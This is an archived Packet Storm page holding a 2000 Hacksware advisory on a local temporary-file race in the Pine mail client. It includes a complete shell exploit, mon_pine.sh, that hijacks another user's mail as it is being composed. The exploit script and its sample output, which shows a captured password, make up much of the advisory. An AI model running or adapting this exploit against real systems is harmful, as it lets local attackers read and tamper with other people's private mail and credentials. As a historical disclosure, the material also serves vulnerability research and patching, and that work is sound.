what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mon_pine.sh

mon_pine.sh
Posted Dec 12, 2000
Authored by JW Oh | Site hacksware.com

Pine v4.30 and below allows outgoing mail to be hijacked if the alternate editor is enabled. Exploit script included.

tags | exploit
SHA-256 | a697070970654ece18a16dfe44b4f7ffcf5b38cb5159bafae4e725f245de46ca

mon_pine.sh

Change Mirror Download


Hacksware Bug Report

1. Name: Pine temporary file hijacking vulnerability
2. Release Date: 2000.12.11
3. Affected Application:
Pine Version 4.30(or maybe other versions)
4. Author: mat@hacksware.com
5. Type: Local Race Condition
6. Explanation
If pine setting is like following:
[x] enable-alternate-editor-cmd
[x] enable-alternate-editor-implicitly
editor = /usr/bin/vi
pine creates it's temporary in in /tmp directory with names like /tmp/pico.007292(where 7292 is the pid of pine process running).

You can simply symlink this file(/tmp/pico.<pid>) to another file that doesn't exist.
When victim is editing message victim editor vi follows symlinks and creates another file.
By removing this symlink and creating your own temporary file and making it writable to victim, you can hijack his mail message.

7. Exploits

--------------------mon_pine.sh start--------------------------------
#!/bin/sh
# Grab local pine messages
# Usage: ./mon_pine.sh <pid of pine process>
# victim pine must use following settings
#
# mat@hacksware.com
# http://hacksware.com
#
# [x] enable-alternate-editor-cmd
# [x] enable-alternate-editor-implicitly
# editor = /usr/bin/vi
#

PID=$1
PICO_FILE=`printf "/tmp/pico.%.6d" $PID`
TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"`
echo PICO_FILE is $PICO_FILE

#if $PICO_FILE and $TRASHCAN exists, remove them
if test -f $PICO_FILE
then
rm -f $PICO_FILE
fi
if test -f $TRASHCAN
then
rm -f $TRASHCAN
fi

ln -s $TRASHCAN $PICO_FILE
while :
do
if test -f $TRASHCAN
then
break
fi
done

echo Victim is Editing Pine Message
rm -f $PICO_FILE
echo We replace temporary file
touch $PICO_FILE
chmod 777 $PICO_FILE
echo "Get the message from "$PICO_FILE
echo "^C to break tailer"
tail -f $PICO_FILE
--------------------mon_pine.sh end --------------------------------

8. Example

[mat@overheaven /tmp]$ ps -ax|grep pine|grep -v grep
7292 pts/1 S 0:22 pine
[mat@overheaven /tmp]$ sh mon_pine.sh 7292
PICO_FILE is /tmp/pico.007292

... wait for victim to compose mail....

Victim is Editing Mail
We replace temporary file
Get the message from /tmp/pico.007292
^C to break tailer

Hello...

Your new password is "greenbee"

Don't let anyone know this...
Thanks..



--
=================================================
| mat@hacksware.com |
| http://hacksware.com |
=================================================



Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close